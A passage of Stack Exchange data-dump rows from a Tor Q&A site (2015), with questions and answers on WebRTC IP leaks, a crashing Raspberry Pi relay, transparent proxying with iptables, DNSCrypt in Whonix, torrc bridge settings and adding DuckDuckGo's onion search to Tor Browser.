  <row Id="6129" PostTypeId="2" ParentId="6108" CreationDate="2015-02-01T14:07:29.820" Score="1" Body="&lt;p&gt;Serving your site through a Tor hidden service will indeed prevent the general public to learn your identity through &lt;strong&gt;technological&lt;/strong&gt; means. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But as you said that you would operate legally, I would worry as much, if not more, about the threat posed by conventional private investigators. Because they won't even care about how is served your site, they will hunt for your company name which should be fairly easy to find, then will go in length to find the actual owner. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The book &lt;em&gt;How to be invisible&lt;/em&gt; by JJ Luna discuss thoroughly issues more or less related to what you want. I would suggest finding it in the electronic format, so as not to risk to attract unwanted attention. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is actually the major leverage that you can use to protect your identity : don't let anyone have a reason to find out who is that site's operator. &#xA;And it works also the other way around, if this is also of your concern that somebody investigates you personally to end up discovering your business. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A good way to protect you is to create an alias name, a true spy-like covert identity that would be the closest to impossible to link to you. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;JJ Luna talks about some techniques to achieve this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But to answer your actual question on Tor, yes it gives you a really good asset although it is not immune to fails : especially in that any mistake on the server management risk to expose its real IP. You should consider using a gateway (same as a transparent proxy but for serving content instead of being the client) to Torify the traffic. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Tor is a huge step towards your goal. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Tor can fail. &lt;/li&gt;&#xA;&lt;li&gt;Other ways of unmasking are equally important. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1785" LastActivityDate="2015-02-01T14:07:29.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6130" PostTypeId="1" AcceptedAnswerId="6132" CreationDate="2015-02-01T15:38:15.953" Score="3" ViewCount="4263" Body="&lt;p&gt;Since I do not understand correctly how&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/diafygi/webrtc-ips&quot; rel=&quot;nofollow&quot;&gt;https://github.com/diafygi/webrtc-ips&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;works, I would be happy if someone could explain to me what I can do more generally than disabling Webrtc in my browser.&#xA;Is there any possibility to prevent this with firewall rules using iptables?&lt;/p&gt;&#xA;" OwnerUserId="6645" LastEditorUserId="923" LastEditDate="2015-02-01T20:14:14.660" LastActivityDate="2019-08-06T14:17:00.353" Title="Iptables to prevent Webrtc IP address leaks?" Tags="|javascript|iptables|ip-address-leak|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6132" PostTypeId="2" ParentId="6130" CreationDate="2015-02-01T18:30:12.197" Score="4" Body="&lt;p&gt;Instead of blocking the access from the firewall (iptables), it is easier to block it from the browser itself. If you are using &lt;strong&gt;Firefox&lt;/strong&gt; or &lt;strong&gt;Iceweasel&lt;/strong&gt;, you can disable Javascript completely (using &lt;strong&gt;NoScript&lt;/strong&gt; addon, or any similar addon). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want to disable Javascript, you can disable only WebRTC connections. To do that, enter &lt;code&gt;about:config&lt;/code&gt; in your Firefox address bar, confirm that you know what you're doing, and then enter &lt;code&gt;media.peerconnection.enabled&lt;/code&gt; in the search bar displayed. When the name appears in the list below, you'll notice that its value is set to &lt;code&gt;true&lt;/code&gt;. Double click on it to make it &lt;code&gt;false&lt;/code&gt; and that's it! WebRTC is now disabled!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Afterwards, you can visit &lt;a href=&quot;https://diafygi.github.io/webrtc-ips/&quot; rel=&quot;noreferrer&quot;&gt;this demo page&lt;/a&gt; and see for yourself that your local and public IP addresses are not leaked any more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using &lt;strong&gt;TorBrowser&lt;/strong&gt;, you don't need to do anything extra, because the WebRTC setting named &lt;code&gt;media.peerconnection.enabled&lt;/code&gt; is set to false by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just for the sake of completeness, I'll mention that there is also an extension for &lt;strong&gt;Google Chrome&lt;/strong&gt; called &lt;a href=&quot;https://chrome.google.com/webstore/detail/webrtc-block/nphkkbaidamjmhfanlpblblcadhfbkdm?hl=en&quot; rel=&quot;noreferrer&quot;&gt;WebRTC Block&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should mention that it is hard to detect IP leaks using a firewall that works only on the transport/network layer (like iptables) when the leaking is done by an application. The reason is that every application has a different way of doing it, and there is no global solution to all. The best thing to do is to either stop using the application entirely (and perhaps find an alternative) or to stop the part where the leakage happens (which usually disables some functionality of the application).&lt;/p&gt;&#xA;" OwnerUserId="6597" LastEditorUserId="6597" LastEditDate="2015-02-01T18:38:22.720" LastActivityDate="2015-02-01T18:38:22.720" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6134" PostTypeId="1" AcceptedAnswerId="6354" CreationDate="2015-02-01T21:01:36.907" Score="6" ViewCount="543" Body="&lt;p&gt;&lt;strong&gt;UPD:&lt;/strong&gt; this question was regarding an older version of Tor (0.2.4.24). With a newer version (which was 0.2.7.2-alpha for me) the problem disappeared.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I am running Tor (0.2.4.24) relay on Raspberry Pi (Raspbian). Once every 5-10 days the Tor daemon disappears and I have to restart it manually. I looked into the recent occurrence and found the following.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Atlas says there were bursts of activity before the disappearance:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ARLRv.png&quot; alt=&quot;Atlas plot of relay activity&quot;&gt;&#xA;The bursts occupied the entire relay bandwidth (80k).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;dmesg&lt;/code&gt; says there were too many connections:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[Thu Jan 29 16:24:22 2015] smsc95xx 1-1.1:1.0 eth0: kevent 2 may have been dropped&#xA;...  several lines like this ...&#xA;[Thu Jan 29 16:40:02 2015] TCP: TCP: Possible SYN flooding on port 80. Sending cookies. Check SNMP counters.&#xA;[Thu Jan 29 16:50:49 2015] net_ratelimit: 3123 callbacks suppressed&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This repeated several times before &lt;code&gt;oom_killer&lt;/code&gt; was invoked and killed &lt;code&gt;tor&lt;/code&gt;. (80 is my dir port.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The last heartbeat lines in the Tor log before the killing were:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Jan 30 13:59:14.000 [notice] Heartbeat: Tor's uptime is 6 days 6:00 hours, with 2110 circuits open. I've sent 2.17 GB and received 4.69 GB.&#xA;Jan 30 13:59:14.000 [notice] Average packaged cell fullness: 59.734%&#xA;Jan 30 13:59:14.000 [notice] TLS write overhead: 15%&#xA;Jan 30 13:59:14.000 [notice] Circuit handshake stats since last time: 21494/483370 TAP, 26089/56472 NTor.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Before the bursts started, the log was saying:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Jan 29 13:59:14.000 [notice] Heartbeat: Tor's uptime is 5 days 6:00 hours, with 140 circuits open. I've sent 1.17 GB and received 1.28 GB.&#xA;Jan 29 13:59:14.000 [notice] Average packaged cell fullness: 71.691%&#xA;Jan 29 13:59:14.000 [notice] TLS write overhead: 9%&#xA;Jan 29 13:59:14.000 [notice] Circuit handshake stats since last time: 9509/9531 TAP, 2044/2045 NTor.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note the difference in TAP and NTor values in just one day.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So two questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Was it an attack? Or was it just a normal burst of load?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How to configure Tor relay in Raspbian to avoid it dying like this? Would it help configuring parameters such as &lt;code&gt;MaxOnionQueueDelay&lt;/code&gt; and &lt;code&gt;MaxMemInQueues&lt;/code&gt;?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Continued&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After making the initial post, I have enabled full debug log and started the relay. It took it about a month to crash. This time, bandwidth utilization did not show anything very suspicious:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TsXoe.png&quot; alt=&quot;Atlas plot of relay activity on March 4&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the debug log before the crash is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    pi@raspberrypi ~ $ tail -n5000 /var/log/tor/debug.log.1 | grep info&#xA;    Mar 04 16:04:13.000 [info] command_process_destroy_cell(): unknown circuit 3976204747 on connection from 83.150.17.132:9001. Dropping.&#xA;    Mar 04 16:04:13.000 [info] onion_pending_add(): New create (tap). Queues now ntor=0 and tap=48.&#xA;    Mar 04 16:04:13.000 [info] onion_pending_add(): New create (tap). Queues now ntor=0 and tap=49.&#xA;    Mar 04 16:04:13.000 [info] command_process_destroy_cell(): unknown circuit 2234508755 on connection from 37.187.103.91:9001. Dropping.&#xA;    Mar 04 16:04:13.000 [info] onion_pending_add(): New create (tap). Queues now ntor=0 and tap=49.&#xA;    Mar 04 16:04:13.000 [info] onion_pending_add(): New create (tap). Queues now ntor=0 and tap=50.&#xA;    Mar 04 16:04:13.000 [info] command_process_destroy_cell(): unknown circuit 4119 on connection from 78.47.40.27:31337. Dropping.&#xA;    Mar 04 16:04:13.000 [info] onion_pending_add(): New create (tap). Queues now ntor=0 and tap=49.&#xA;    Mar 04 16:04:13.000 [info] command_process_destroy_cell(): unknown circuit 4200846799 on connection from 92.222.162.54:9001. Dropping.&#xA;    Mar 04 16:04:13.000 [info] onion_pending_add(): New create (tap). Queues now ntor=0 and tap=50.&#xA;    Mar 04 16:04:13.000 [info] command_process_destroy_cell(): unknown circuit 2147509313 on connection from 131.188.24.14:9001. Dropping.&#xA;    Mar 04 16:04:13.000 [info] command_process_destroy_cell(): unknown circuit 2385798363 on connection from 37.187.124.132:9001. Dropping.&#xA;    Mar 04 16:04:13.000 [info] command_process_destroy_cell(): unknown circuit 2219568803 on connection from 198.50.191.95:443. Dropping.&#xA;    Mar 04 16:04:13.000 [info] command_process_destroy_cell(): unknown circuit 4229259436 on connection from 77.37.240.142:443. Dropping.&#xA;    Mar 04 16:04:13.000 [info] command_process_destroy_cell(): unknown circuit 2147502825 on connection from 31.11.241.132:9001. Dropping.&#xA;    Mar 04 16:04:13.000 [info] command_process_destroy_cell(): unknown circuit 2147505465 on connection from 85.176.225.121:9001. Dropping.&#xA;    Mar 04 16:04:13.000 [info] command_process_destroy_cell(): unknown circuit 2147506490 on connection from 213.185.227.85:9001. Dropping.&#xA;    Mar 04 16:04:13.000 [info] command_process_destroy_cell(): unknown circuit 2147508804 on connection from 94.23.20.190:9001. Dropping.&#xA;    Mar 04 16:04:13.000 [info] channel_register(): Channel 0xb0a12af8 (global ID 649941) in state opening (1) registered with no identity digest&#xA;    Mar 04 16:04:13.000 [info] onion_next_task(): Processing create (tap). Queues now ntor=0 and tap=49.&#xA;    Mar 04 16:04:13.000 [info] onion_pending_add(): New create (tap). Queues now ntor=0 and tap=50.&#xA;    Mar 04 16:04:13.000 [info] command_process_destroy_cell(): unknown circuit 2147515156 on connection from 212.129.42.9:443. Dropping.&#xA;    Mar 04 16:04:13.000 [info] command_process_destroy_cell(): unknown circuit 3358448687 on connection from 82.223.11.56:9001. Dropping.&#xA;    Mar 04 16:04:13.000 [info] command_process_destroy_cell(): unknown circuit 2259723728 on connection from 5.9.123.81:9001. Dropping.&#xA;    Mar 04 16:04:13.000 [info] command_process_destroy_cell(): unknown circuit 3130707707 on connection from 109.169.45.226:9001. Dropping.&#xA;    Mar 04 16:04:13.000 [info] onion_pending_add(): New create (tap). Queues now ntor=0 and tap=50.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are many TAP connections and unknown circuits that are dropped. There is nothing like this in the beginning of the log on the same day. This behavior looks abnormal to me, I lack the knowledge of Tor to interpret it so far (Tor gurus, ahoy!). To be continued.&lt;/p&gt;&#xA;" OwnerUserId="4967" LastEditorUserId="4967" LastEditDate="2016-01-19T13:00:00.907" LastActivityDate="2016-01-19T13:00:00.907" Title="Tor dying on Raspberry Pi (circuit creation storm, out of memory)" Tags="|configuration|relays|attacks|raspberry-pi|raspbian|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6135" PostTypeId="1" AcceptedAnswerId="6166" CreationDate="2015-02-01T22:27:29.167" Score="1" ViewCount="456" Body="&lt;p&gt;In normal environment, when some program use SOCKS as communication protocol with the client, the destination port and IP are stored in the SOCKS header, and then the Tor client include them in the Exit node cell. But if there is no SOCKS and just a iptables rule rewriting the destination port in order to achieve transparent proxy, how the Tor client know which port to put as destination in the cell?&lt;/p&gt;&#xA;" OwnerUserId="3442" LastActivityDate="2015-02-07T12:01:34.103" Title="How Tor client determinates the destination port when transparent proxy is configured?" Tags="|transparent-proxy|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6136" PostTypeId="2" ParentId="6135" CreationDate="2015-02-02T10:58:44.570" Score="2" Body="&lt;p&gt;This is a very good question indeed, although it is more about how a tranparent proxy and iptables work. The corresponding rule in iptables to redirect to a transparent proxy is usually something like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;iptables -t nat -A OUTPUT -p tcp --syn -j REDIRECT --to-ports &amp;lt;port-number&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is happening in reality is that NAT Redirect does not change the packet header! It just hands it over, destination IP and port intact, to the service listening in &lt;em&gt;localhost&lt;/em&gt; on the port number specified, which happens to be the Tor transparent proxy in this case.&lt;/p&gt;&#xA;" OwnerUserId="6597" LastActivityDate="2015-02-02T10:58:44.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6137" PostTypeId="1" CreationDate="2015-02-02T14:45:57.587" Score="7" ViewCount="574" Body="&lt;p&gt;I use Whonix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am interested in making clearnet traffic as private from third parties other than the sites I visit, as possible. This not only includes the NSA, but also third-party DNS providers which may log, and even likely be willing to share this information with NSA (such as Google's DNS or OpenDNS), but even just by virtue of hte traffic being unencrypted over the Internet and thus, no matter how well-meaning, still sniffable by anyone on the pipes between you and the DNS provider(s) used by your particular Tor exit node at the time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whonix's &lt;a href=&quot;https://www.whonix.org/wiki/FAQ#Can_I_use_DNSCrypt_in_Whonix.3F&quot; rel=&quot;noreferrer&quot;&gt;wiki advice&lt;/a&gt; on running DNSCrypt within the VM makes a good point that using DNSCrypt for Tor browsing may not be as advantageous as one may first think.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you trust a DNS provider (or a rotating array of them, such as the DNSCrypt community), who not only promises to be logless/less logging and is smaller, security-focused, generally donation-based, AND uses a protocol that at least doesn't broadcast your queried sites with a megaphone on the wires while you communicate with it, wouldn't it still be better?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question is: do I share what websites my (rotating) Tor IP addresses visit, with MANY highly insecure DNS providers (distributing the inevitable across many providers, even though it's totally sniffable, poisonable, and most likely logged), or with ONE highly secure DNS provider where the traffic is indeed far less likely to be leaked, logged, or sniffed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is mind-boggling to think through the ramifications of either choice, privacy and anonymity-wise. NSA would have more information with unencrypted DNS requests to later match to other inevitable clearnet metadata like HTTPS requests between your rotating Tor IPs and the servers you request to start HTTPS sessions with - and of course, all other unencrypted TCP traffic you may visit already. (like apt-get updates)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My idea is to make a simple script (in configuring and restarting dnscrypt-proxy) to rotate through &lt;a href=&quot;https://github.com/jedisct1/dnscrypt-proxy/blob/master/dnscrypt-resolvers.csv&quot; rel=&quot;noreferrer&quot;&gt;different DNSCrypt providers&lt;/a&gt; each day or logon session (or activity that I want to seriously de-correlate to other ones, if uncomfortably close in time to  each other), distributing the 'power' and required trust aptly warned on the Whonix wiki, to several providers and not just one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could that be combining the best of both worlds and be the &lt;strong&gt;very best&lt;/strong&gt; solution for DNS privacy and security, on Tor?&lt;/p&gt;&#xA;" OwnerUserId="6652" LastActivityDate="2021-06-28T21:02:20.253" Title="Is (provider rotating) DNSCrypt inside Whonix superior privacy-wise to defaulting to Tor exit nodes' DNS?" Tags="|anonymity|security|whonix|dns|global-adversary|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6138" PostTypeId="2" ParentId="6134" CreationDate="2015-02-02T15:24:23.123" Score="1" Body="&lt;p&gt;It may or may not be an attack, but my personal opinion is that Tor isn't guessing the right values for some parameters like MaxMemInQueues (like it was setting them too high, then too low later). Try setting the 2 parameters &lt;code&gt;MaxOnionQueueDelay&lt;/code&gt; and &lt;code&gt;MaxMemInQueues&lt;/code&gt; yourself and see if the performacnce becomes more stable. It may help also to limit the bandwith parameters such as &lt;code&gt;BandwidthRate&lt;/code&gt; and &lt;code&gt;BandwidthBurst&lt;/code&gt; to lower the quantity of data the your Raspberry Pi is receiving per second.&lt;/p&gt;&#xA;" OwnerUserId="6597" LastActivityDate="2015-02-02T15:24:23.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6139" PostTypeId="2" ParentId="6080" CreationDate="2015-02-02T19:30:38.117" Score="2" Body="&lt;p&gt;Close and restart orbot. Make sure the format of obfs3 bridge is correct. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;obfs3 works in mainland China, but those bridges you added might be blocked. If you see warning messages like 'TTL expired', then try adding more bridges.&lt;/p&gt;&#xA;" OwnerUserId="3386" LastActivityDate="2015-02-02T19:30:38.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6141" PostTypeId="2" ParentId="3958" CreationDate="2015-02-03T07:28:10.017" Score="2" Body="&lt;p&gt;The reason that Tor isn't working is very simple. When you added the bridge configuration lines, there were duplicate lines that already existed in your relay configuration lines. Mainly, it is &lt;code&gt;ORPort 443&lt;/code&gt; duplication is what is causing the issue, because Tor will try to listen to this port a second time and will find it occupied, exiting thus with an error!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your full &lt;code&gt;torrc&lt;/code&gt; file should look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;BandwidthRate 204800&#xA;ContactInfo ______.s@dsl.pipex.com&#xA;DataDirectory C:\Users\Martin\Desktop\Tor Browser\Data\Tor&#xA;ExitPolicy reject *:*&#xA;GeoIPFile C:\Users\Martin\Desktop\Tor Browser\Data\Tor\geoip&#xA;GeoIPv6File C:\Users\Martin\Desktop\Tor Browser\Data\Tor\geoip6&#xA;Nickname HAVANASUN&#xA;ORPort 443&#xA;SocksPort 0&#xA;BridgeRelay 1&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and that will hopefully solve your problem.&lt;/p&gt;&#xA;" OwnerUserId="6597" LastActivityDate="2015-02-03T07:28:10.017" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6142" PostTypeId="2" ParentId="4458" CreationDate="2015-02-03T12:17:09.267" Score="1" Body="&lt;p&gt;You can install flash (if it's a flash video) if you use Tails but that beats the purpose of using Tor but would be useful for your case if it is just to watch a video caused by a location restriction.&lt;/p&gt;&#xA;" OwnerUserId="6657" LastEditorUserId="923" LastEditDate="2015-02-03T14:23:32.470" LastActivityDate="2015-02-03T14:23:32.470" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6144" PostTypeId="1" AcceptedAnswerId="6145" CreationDate="2015-02-04T16:36:59.250" Score="3" ViewCount="1436" Body="&lt;p&gt;After starting TAILS, there is GUI that shows Tor status.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But after I do &lt;code&gt;/etc/init.d/tor restart&lt;/code&gt; as root (because of sometimes it gets stuck due to clock jumps), the &quot;Vidalia control panel&quot; shows &quot;Tor is not running&quot; and Tor-browser warns &quot;Tor is not running. Do you really want to start?&quot;, even tough it is actually running and tor-browser works if I press &quot;Yes&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why does it happen? How do I restart Tor correctly on TAILS?&lt;/p&gt;&#xA;" OwnerUserId="6661" LastActivityDate="2015-02-04T18:21:34.473" Title="Why after restaring Tor in TAILS the GUI thinks it is not started?" Tags="|tails|vidalia|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6145" PostTypeId="2" ParentId="6144" CreationDate="2015-02-04T18:21:34.473" Score="1" Body="&lt;p&gt;It is probably because Vidalias and TorBrowser are detecting that Tor has stopped, and but they didn't auto-detect that it has started right afterwards. It's a bug, but nothing to worry about, since you can normally run TorBrowser and other Tor-related staff after that.&lt;/p&gt;&#xA;" OwnerUserId="6597" LastActivityDate="2015-02-04T18:21:34.473" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6146" PostTypeId="1" CreationDate="2015-02-05T07:39:49.417" Score="6" ViewCount="863" Body="&lt;p&gt;I installed Tor on my Windows 7 PC in parrallel to Firefox. Both products can be run at the same time without any problem. My intention is to uninstall Firefox once I am Sure that Tor can be used without any problem. In order to reach this goal I decided first to Sync the Tor browser with the existing Firefox. Unfortunately although my Sync UserID and Password are accepted and with the message telling me that the Tor browser sync would start shortly nothing happens except an error message that I translate from the French to English:&#xA;&quot;Sync met an error during the synchronisation: Unknown error. Sync will try the operation again automatically.&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That error seems to be a permanent error because I still have it after 1 hour or so.&lt;/p&gt;&#xA;" OwnerUserId="6662" LastEditorUserId="923" LastEditDate="2015-02-05T11:23:54.770" LastActivityDate="2016-01-18T01:55:09.057" Title="Firefox sync seems not to work" Tags="|tor-browser-bundle|firefox|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6147" PostTypeId="1" CreationDate="2015-02-05T11:12:56.590" Score="1" ViewCount="466" Body="&lt;p&gt;I used Tor with Chrome in anonymous mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used a webmail and I send a mail with an uploaded file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found the following code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&quot;ndex&quot;,&quot;mailUploadServiceUrl&quot;:&quot;/neo2/handlers/upload_attachment.jsx&quot;, &quot;websocketSwfUrl&quot;:&quot;//yastatic.net/mail/neo2/9.21.11/static/swf/web-socket.swf&quot;, &quot;version&quot;:&quot;9.21.11&quot;,&quot;version_full&quot;:&quot;9.21.11-0&quot;,&quot;date&quot;:&quot;04.02.2015&quot;, &quot;xivaHost&quot;:&quot;push.yandex.com&quot;,&quot;metricaID&quot;:&quot;1143050&quot;, &quot;showWizardUntil&quot;:&quot;1331064000000&quot;,&quot;social-&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is my real IP address revealed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="6665" LastEditorUserId="923" LastEditDate="2015-02-05T15:20:48.750" LastActivityDate="2015-07-12T11:20:51.533" Title="Tor Browser SWF socket" Tags="|anonymity|javascript|chrome|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6148" PostTypeId="2" ParentId="6147" CreationDate="2015-02-05T12:00:28.670" Score="2" Body="&lt;p&gt;When you are using Flash (swf files), you are letting the door to your anonymity wide open. Flash can see your IP address and reveal it to the hosting site, thus de-anonymizing you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, consider using an open-source browser such as Firefox or TorBrowser. They are safer than closed-source browsers such as Google Chrome, and they don't have a potential of carrying secret backdoors for spying on you.&lt;/p&gt;&#xA;" OwnerUserId="6597" LastActivityDate="2015-02-05T12:00:28.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6149" PostTypeId="1" CreationDate="2015-02-05T23:28:47.863" Score="3" ViewCount="478" Body="&lt;p&gt;I recently downloaded Tor on my MAC and it connected just fine but the browser is stuck on the &quot;Congratulations!&quot; page. I can't even go to Startpage. The tab just says &quot;connecting...&quot; but then it times out. I turned off my firewall and the clock is adjusted correctly. What do I do to become able to browse?&lt;/p&gt;&#xA;" OwnerUserId="6668" LastEditorUserId="923" LastEditDate="2015-02-06T08:38:03.163" LastActivityDate="2015-06-06T16:37:15.647" Title="Tor Browser will not browse anything" Tags="|tor-browser-bundle|mac|" AnswerCount="0" CommentCount="1" ClosedDate="2015-09-13T16:41:21.023" ContentLicense="CC BY-SA 3.0" />
  <row Id="6150" PostTypeId="1" CreationDate="2015-02-06T00:57:56.633" Score="3" ViewCount="1000" Body="&lt;p&gt;I'm a newbie at this and just wanted to know how secure Tor is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that sounds a bit vague but any info will be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="6669" LastActivityDate="2015-02-07T08:25:55.157" Title="How secure is Tor?" Tags="|security|" AnswerCount="2" CommentCount="0" ClosedDate="2015-02-08T13:21:07.390" ContentLicense="CC BY-SA 3.0" />
  <row Id="6152" PostTypeId="1" CreationDate="2015-02-06T06:01:02.120" Score="10" ViewCount="140947" Body="&lt;p&gt;By default, DuckDuckGo is included in TBB's default list of search providers in the search bar. But it is only their clearnet site (duckduckgo.com), and not their hidden service version, &lt;a href=&quot;https://duckduckgogg42xjoc72x3sjasowoarfbgcmvfimaftt6twagswzczad.onion&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://duckduckgogg42xjoc72x3sjasowoarfbgcmvfimaftt6twagswzczad.onion&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;There is no page or add-on offered by DuckDuckGo to install that includes the .onion URL being added to the search providers - only all their .com versions.&lt;/p&gt;&#xA;&lt;p&gt;How can I easily add my own custom search provider with the DDG .onion url to Firefox?&lt;/p&gt;&#xA;" OwnerUserId="6672" LastEditorUserId="34748" LastEditDate="2022-08-08T18:01:14.947" LastActivityDate="2022-08-08T18:01:14.947" Title="How do I add the DuckDuckGo .onion version to the Tor Browser search providers?" Tags="|tor-browser-bundle|onion-services|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="6153" PostTypeId="2" ParentId="6152" CreationDate="2015-02-06T06:08:51.690" Score="11" Body="&lt;p&gt;&lt;strong&gt;Instructions:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Download an existing 'opensearch' XML file for one of the DuckDuckGo provider add-ons, such as the 'Lite' version (or the 'html' version which is also non-JS by default): &lt;strong&gt;&lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/duckduckgo-lite/&quot; rel=&quot;noreferrer&quot;&gt;https://addons.mozilla.org/en-US/firefox/addon/duckduckgo-lite/&lt;/a&gt;&lt;/strong&gt; or &lt;strong&gt;https:// addons.mozilla.org/en-us/firefox/addon/duckduckgo-html/&lt;/strong&gt;. Do it by right-clicking on the 'Download Now' button on the add-on page and 'save link as' to save the .xml to your computer.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Modify the XML on your computer to replace all instances of &lt;code&gt;duckduckgo.com&lt;/code&gt; with &lt;code&gt;3g2upl4pq6kufc4m.onion&lt;/code&gt;. For extra security and privacy, double check that https is included in the url strings - HTTPS works on .onion urls also.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the &lt;code&gt;&amp;lt;ShortName&amp;gt;&lt;/code&gt; line, modify the name if you want to differentiate it from the existing one or just make it clear to yourself it's the Tor DDG. e.g.: &lt;code&gt;&amp;lt;ShortName&amp;gt;DuckDuckGo Lite Tor&amp;lt;/ShortName&amp;gt;&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you want family filter censoring turned off (or apply any other cookie-free settings by going to &lt;a href=&quot;https://3g2upl4pq6kufc4m.onion/settings&quot; rel=&quot;noreferrer&quot;&gt;https://3g2upl4pq6kufc4m.onion/settings&lt;/a&gt; with JavaScript on and clicking on 'Show Bookmarklet and Settings Data' to get the relevant parameter), put the following line above the existing  tag line: &lt;code&gt;&amp;lt;Param name=&quot;kp&quot; value=&quot;-1&quot;/&amp;gt;&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now upload the XML file to 